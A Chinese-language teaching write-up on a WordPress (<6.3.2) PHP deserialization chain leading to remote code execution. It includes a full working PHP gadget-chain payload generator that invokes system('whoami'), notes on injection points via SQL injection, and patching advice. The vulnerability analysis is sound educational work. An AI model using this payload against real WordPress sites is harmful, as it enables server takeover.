一条有趣的WordPress反序列化链分析
字数 1492 2025-08-06 08:35:30
WordPress反序列化漏洞分析与利用教学文档
漏洞概述
本漏洞影响WordPress < 6.3.2版本,涉及一条复杂的反序列化链,最终可实现远程代码执行(RCE)。漏洞利用链以WP_Theme类的__toString方法为起点,通过一系列精心构造的对象调用,最终到达WpOrg\Requests\Hooks类的dispatch方法实现命令执行。
漏洞利用链分析
关键类与方法
-
WP_Theme类
__toString(): 对象被当作字符串使用时自动调用display(): 显示主题信息get(): 获取主题头信息offsetGet(): 实现ArrayAccess接口的方法
-
WP_Block_List类
- 实现ArrayAccess接口
offsetGet(): 获取块信息
-
WP_Block_Type_Registry类
get_registered(): 获取已注册的块类型
-
WpOrg\Requests\Session类
get(): 发起GET请求request(): 处理请求
-
WpOrg\Requests\Hooks类
dispatch(): 执行回调函数
利用链流程
- 反序列化触发
WP_Theme的__toString方法 __toString调用display("Name")display调用get("Name")get方法访问$this->headers["Name"],触发WP_Block_List的offsetGetoffsetGet实例化WP_Block对象WP_Block构造方法调用$registry->get_registered($this->name)get_registered访问$this->registered_block_types[$name],触发WP_Theme的offsetGetoffsetGet处理"Parent Theme"分支,调用$this->parent()->get("Name")parent是Session对象,调用其get方法get调用request方法request调用Requests::requestRequests::request调用$options['hooks']->dispatchdispatch方法执行回调函数,最终实现RCE
漏洞利用步骤
1. 构造恶意序列化对象
<?php
namespace WpOrg\Requests {
class Session {
private $url;
private $headers;
private $options;
public function __construct($url, $headers, $options) {
$this->url = $url;
$this->headers = $headers;
$this->options = $options;
}
}
class Hooks {
public $hooks;
public function __construct($hooks) {
$this->hooks = $hooks;
}
}
}
namespace {
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Session;
class WP_Theme {
private $headers;
private $parent;
public function __construct($headers, $parent) {
$this->headers = $headers;
$this->parent = $parent;
}
}
class WP_Block_List {
private $blocks;
private $registry;
public function __construct($blocks, $registry) {
$this->blocks = $blocks;
$this->registry = $registry;
}
}
class WP_Block_Type_Registry {
private $registered_block_types;
public function __construct($registered_block_types) {
$this->registered_block_types = $registered_block_types;
}
}
$hooks = array(
"requests.before_request" => array(
array(
array(
new Hooks(array(
"http://p:0/Name" => array(
array("system")
)
)),
"dispatch"
)
)
)
);
$hook = new Hooks($hooks);
$parent = new Session("http://p:0", array("whoami"), array("hooks" => $hook));
$registered_block_types = new WP_Theme(null, $parent);
$block = ["blockName" => "Parent Theme"];
$blocks = ["Name" => $block];
$registry = new WP_Block_Type_Registry($registered_block_types);
$headers = new WP_Block_List($blocks, $registry);
$theme = new WP_Theme($headers, null);
echo urlencode(serialize($theme));
}
2. 寻找反序列化入口点
WordPress中存在多个可能触发反序列化的点:
maybe_unserialize()函数- 管理员用户名设置
- 站点名称设置
- 通过SQL注入向数据库写入恶意payload
3. 利用SQL注入写入payload
根据wpscan报告,存在SQL注入漏洞可以在wp_termmeta表中插入新行,插入的元数据在检索时会经过maybe_unserialize处理,从而触发RCE。
防御措施
- 升级WordPress到6.3.2或更高版本
- 对用户输入进行严格过滤和验证
- 限制反序列化操作,避免反序列化用户可控数据
- 使用最新版PHP,利用其内置的安全机制
总结
该漏洞展示了PHP反序列化漏洞的复杂性,通过精心构造的对象链,攻击者可以利用WordPress核心类之间的交互关系实现远程代码执行。理解这类漏洞需要对PHP对象序列化、魔术方法和类之间的交互有深入理解。防御此类漏洞的关键在于严格控制反序列化操作和及时更新系统。